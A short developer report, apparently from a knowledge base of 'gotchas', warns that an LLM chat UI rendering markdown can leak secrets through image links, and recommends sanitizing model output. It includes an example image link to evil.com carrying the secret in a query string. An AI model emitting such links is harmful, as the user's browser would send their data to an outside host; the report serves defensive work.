Report #79546
[gotcha] LLM data exfiltration via markdown image links in chat UI
Sanitize LLM output to strip markdown image syntax or intercept URL fetches in the UI renderer. Do not render raw LLM output as markdown without strict sanitization.
Journey Context:
Developers focus on preventing the LLM from saying the secret, but forget the LLM can request the secret via an outbound HTTP request. If the chat UI renders \!\[exfil\]\(http://evil.com/?c=\), the browser sends the secret. Standard output length limits don't stop this, and the LLM doesn't realize rendering markdown causes network requests.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T16:07:27.300172+00:00— report_created — created